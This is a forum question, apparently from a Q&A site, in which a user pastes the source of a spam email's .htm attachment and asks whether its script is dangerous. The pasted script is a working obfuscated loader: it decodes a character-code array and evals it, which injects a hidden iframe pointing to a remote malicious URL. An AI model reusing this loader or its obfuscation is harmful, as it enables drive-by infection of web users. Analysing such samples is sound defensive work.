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    copied!<p>I received a spam message that had a .htm attachment. I opened the file in gedit on my linux machine and saw the following. Does the script it would try to run do anything? It looks harmless, yet confusing. </p> <pre><code>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8"&gt; &lt;title&gt;Please wait untill the page loads...&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Loading... Please Wait...&lt;/h1&gt;&lt;br&gt; &lt;/body&gt;` &lt;script&gt; if(window['doc'+'ume'+'nt']) aa=/\w/.exec(new Date()).index+[]; aaa='0'; try { new location(); }catch(qqq){ ss=String; if(aa===aaa) f='-30q-30q66q63q-7q1q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q2q84q-30q-30q-30q66q63q75q58q70q62q75q1q2q20q-30q-30q86q-7q62q69q76q62q-7q84q-30q-30q-30q61q72q60q78q70q62q71q77q7q80q75q66q77q62q1q-5q21q66q63q75q58q70q62q-7q76q75q60q22q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q-7q80q66q61q77q65q22q0q10q9q0q-7q65q62q66q64q65q77q22q0q10q9q0q-7q76q77q82q69q62q22q0q79q66q76q66q59q66q69q66q77q82q19q65q66q61q61q62q71q20q73q72q76q66q77q66q72q71q19q58q59q76q72q69q78q77q62q20q69q62q63q77q19q9q20q77q72q73q19q9q20q0q23q21q8q66q63q75q58q70q62q23q-5q2q20q-30q-30q86q-30q-30q63q78q71q60q77q66q72q71q-7q66q63q75q58q70q62q75q1q2q84q-30q-30q-30q79q58q75q-7q63q-7q22q-7q61q72q60q78q70q62q71q77q7q60q75q62q58q77q62q30q69q62q70q62q71q77q1q0q66q63q75q58q70q62q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q76q75q60q0q5q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q2q20q63q7q76q77q82q69q62q7q79q66q76q66q59q66q69q66q77q82q22q0q65q66q61q61q62q71q0q20q63q7q76q77q82q69q62q7q73q72q76q66q77q66q72q71q22q0q58q59q76q72q69q78q77q62q0q20q63q7q76q77q82q69q62q7q69q62q63q77q22q0q9q0q20q63q7q76q77q82q69q62q7q77q72q73q22q0q9q0q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q80q66q61q77q65q0q5q0q10q9q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q65q62q66q64q65q77q0q5q0q10q9q0q2q20q-30q-30q-30q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q7q58q73q73q62q71q61q28q65q66q69q61q1q63q2q20q-30q-30q86' .split('q'); md='a'; e=window['e'+'val']; w=f; s=''; fr='fromChar'; r=ss[fr+'Code']; for(i=0;-i&gt;-w.length;i+=1) { j=i; s=s+r(39+1*w[j]); } if(Math.round(-4*Math.tan(Math.atan(0.5)))===-2) z=s; e(z); } &lt;/script&gt; &lt;/html&gt; </code></pre>
 

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